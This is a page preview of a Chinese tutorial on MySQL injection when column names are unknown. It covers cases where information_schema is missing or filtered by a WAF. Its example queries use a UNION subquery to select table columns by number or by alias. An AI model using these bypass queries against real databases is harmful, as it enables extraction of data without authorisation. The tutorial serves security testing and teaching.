MySQL在不知道列名情况下的注入详解
75 浏览量
2020-12-16
12:08:46
上传
评论
收藏 85KB PDF 举报
MySQL在不知道列名情况下的注入详解在不知道列名情况下的注入详解
前言前言
最近感觉脑子空空，全在为了刷洞去挖洞，还是回归技术的本身让自己舒服些。好了，下面话不多说了，来一起看看详细的介绍吧
前提前提
以下情况适用于 MySQL < 5版本，或者在 MySQL >= 5 的版本[存在information_schema库]，且已获取到库名和表名
① 当只能获取到表名，获取不到列名或者只能获取到无有效内容的列名情况【例如 id】
② 当希望通过information_schema库中的表去获取其他表的结构，即表名、列名等，但是这个库被WAF过滤掉的情况
其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些，因为对我来说，一般遇到waf就放弃了（菜的真实23333）
解决解决
正常的查询：正常的查询：
以下是正常查询 test 库中的 user 表内容
select * from user;
UNION查询查询:
select 1,2,3,4 union select * from user;
数字对应列查询：数字对应列查询：
可以使用数字来对应列来进行查询，如 2 对应了表里面的 name 列
select `2` from (select 1,2,3,4 union select * from user)a;
别名代替查询：别名代替查询：
当反引号 ` 不能使用的时候，可以使用别名来代替，如设置 2 的别名为 b
select b from (select 1,2 as b,3,4 union select * from user)a;
评论0